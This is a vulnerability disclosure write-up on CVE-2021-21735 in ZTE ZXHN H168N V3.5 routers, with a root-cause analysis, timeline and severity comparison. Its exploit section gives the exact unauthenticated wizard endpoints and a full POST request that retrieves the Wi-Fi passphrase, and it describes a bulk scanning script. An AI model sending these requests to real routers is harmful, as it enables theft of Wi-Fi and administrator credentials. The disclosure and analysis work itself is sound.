Mina Zekry • vulnerability research / disclosure analysis
ZTE ZXHN H168N V3.5 • CVE-2021-21735

## What Makes This One Serious

A lot of router CVEs get filed as weakly worded information disclosure issues and then forgotten. This one is different because the exposed data was not passive telemetry. The affected wizard handlers surfaced identity and access material that had downstream security meaning in ISP-operated environments. The PPPoE identifier was not just an account detail. In the deployment model I documented during disclosure, it could function as the hidden administrator password.

The result is a layered failure: route misclassification in firmware, secret exposure through setup handlers, and an operational credential scheme that turned leaked subscriber data into privileged access.

Exposure PPPoE and WLAN endpoints responded before a meaningful authorization boundary.
Escalation Leaked PPPoE data could be reused as the effective admin secret in some ISP deployments.
Breakout A Wi-Fi passphrase leak collapses WPA2 strength regardless of password complexity.

## Exploit Path

My disclosure focused on two wizard handlers: `wizard_pppoe_lua.lua` and `wizard_wlan_config_lua.lua`. One returns PPPoE-related information. The other exposes wireless configuration and also accepts a password retrieval action by POST. That matters because these are not cosmetic onboarding pages. They behave like privileged backend endpoints routed through a weak setup surface.

    GET  /wizard_page/wizard_pppoe_lua.lua
    GET  /wizard_page/wizard_wlan_config_lua.lua
    POST /wizard_page/wizard_wlan_config_lua.lua

    IF_ACTION=GetPassword
    &_InstID_PASS=DEV.WIFI.AP1.PSK1
    &PASSTYPE=PSK

    POST /wizard_page/wizard_wlan_config_lua.lua HTTP/1.1
    Host: router-ip
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest

    IF_ACTION=GetPassword&_InstID_PASS=DEV.WIFI.AP1.PSK1&PASSTYPE=PSK

    HTTP/1.1 200 OK
    Content-Type: application/xml

    <ajax_response>
      <IF_ERRORSTR>SUCC</IF_ERRORSTR>
      <ParaName>KeyPassphrase</ParaName>
      <ParaValue>[REDACTED-WIFI-PASSWORD]</ParaValue>
    </ajax_response>

The same pattern applies to the PPPoE and WLAN information handlers: unauthenticated requests return structured XML containing values that should have remained behind an authenticated configuration boundary. The examples above are intentionally redacted, but they reflect the response shape I documented during disclosure and used in the extraction scripts.

The accompanying repository includes a bulk PoC script, `zte_zxhn_h168n_bulk_poc.py`, which reads a host list and checks the exposed wizard endpoints for the PPPoE, SSID, and Wi-Fi passphrase fields shown here.

I also documented a browser-delivered chain in which a victim is lured through a rogue access point or captive portal flow, then returned to router context where attacker-controlled code queries the exposed handler and exfiltrates the Wi-Fi passphrase. Even if that specific chain is deployment-dependent, the root issue is stable: secret-bearing routes were reachable through a setup whitelist that should never have governed them.

## Root Cause Analysis

Firmware files show a helper named `pro_urlsafe_IsWhiteList(pageName)`, a lookup against `OBJ_WEB_QUICKSETUP_ID`, and a branch on `QuickSetupEnable` that appears to whitelist `wizard_pppoe_lua.lua` and `wizard_wlan_config_lua.lua`.

    WizardTable = cmapi.getinst("OBJ_WEB_QUICKSETUP_ID", "")
    WizardFlag  = WizardTable.QuickSetupEnable

    if WizardFlag == "0" then
        whitelist["wizardFrame_finishAction.lua"] = 1
        whitelist["wizard_pppoe_lua.lua"]         = 1
        whitelist["wizard_wlan_config_lua.lua"]   = 1
    end

01

### Filename routing was used as an authorization primitive.

The visible logic suggests access is granted because a page name appears in a whitelist, not because the handler is authorized to disclose its data. That is the first architectural mistake. A route category is not a permission model.

02

### Setup UI and privileged data handlers were treated as the same class of object.

The whitelisted items are not harmless onboarding fragments. They resolve live configuration state, and one explicitly supports a password-returning action. The firmware collapses presentation logic and secret retrieval into the same accessibility bucket.

03

### Global setup state replaced per-request privilege checks.

A single flag such as `QuickSetupEnable` is far too coarse to control access to configuration secrets. Once the device interprets itself as being in a setup-permitted state, every route attached to that state inherits reachability, regardless of sensitivity.

04

### The endpoint appears not to enforce an internal second gate.

The POST password retrieval path is decisive here. Even if setup pages are temporarily reachable, a secret-bearing action should still validate session state or capability at handler level. The observed behavior indicates excessive trust in route-level allowlisting.

05

### The exploit chain becomes critical because the leaked data is security-significant.

Reusing PPPoE usernames as admin passwords is an ISP-side practice, but the firmware made that practice exploitable by leaking the identifier through a route that should never have exposed it. The router converted an already-fragile secret into a harvestable one.

## Visual Proof

The local evidence set is enough to show both the design failure and the operational impact. One image captures the whitelist branch itself. Another shows harvested router data at scale. Taken together, they make the underlying exploit chain concrete without needing a playback artifact.

The whitelist helper appears to route `wizard_pppoe_lua.lua` and `wizard_wlan_config_lua.lua` into a setup-allowed path.
Historical field proof captured in the local directory: URLs, PPPoE identifiers, SSIDs, and Wi-Fi passphrases displayed in bulk.

## Disclosure Timeline

The underlying disclosure trail is unusually clear and gives the case a strong factual backbone. The dates below are drawn from my correspondence with ZTE and from the public advisory record.

2021-02-12

Initial disclosure sent to ZTE PSIRT describing unauthenticated wizard-page access, PPPoE leakage, and Wi-Fi password retrieval.

2021-02-15

Follow-up notes that the exposed functionality appears capable of modifying settings, not only reading them.

2021-03-01

ZTE confirms the vulnerability exists in H168N V3.5 and offers an XX bounty.

2021-03-09

ZTE communicates a `3.5 Low` rating using `AV:A/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N`.

2021-03-30

ZTE states it will not disclose or assign the CVE until the vulnerability is fixed.

2021-06-09

ZTE publishes its bulletin and lists `V3.5.0_EG1T10_ETS` as the resolved version.

2021-09-02

ZTE informs me that `CVE-2021-21735` has been assigned.

2021-09-28

ZTE confirms payout completion after I resubmitted the case through YesWeHack.

## Severity Split

The scoring disagreement is not a minor paperwork detail. It reflects two different mental models of the bug. ZTE treated it like a constrained adjacency-bound information leak. NVD treated it like a remotely relevant confidentiality failure with high-impact exposure. The second reading is closer to the practical reality shown by the exploit path.

### ZTE View

`3.5 Low` with adjacent network vector and low confidentiality impact. This reads like a narrow exposure scenario.

### NVD View

`6.5 Medium` with network vector and high confidentiality impact. This better matches a case where leaked data can materially unlock admin and WLAN access.

In practice, the strongest interpretation is not determined by label alone but by what the exposed handlers actually return and how those values are used in the field. Here, the information disclosure label understates the operational blast radius.

## References

ZTE Security Bulletin Vendor advisory for CVE-2021-21735 and resolved firmware version details. NVD Entry Public CVE record with enriched severity and affected-version metadata. CVE Record Canonical CVE assignment record for CVE-2021-21735.
Article Angle

This writeup treats the bug as a compromise chain rooted in route-level authorization failure, not as a sterile database entry.

Core Endpoints

- `/wizard_page/wizard_pppoe_lua.lua`
- `/wizard_page/wizard_wlan_config_lua.lua`
- `IF_ACTION=GetPassword`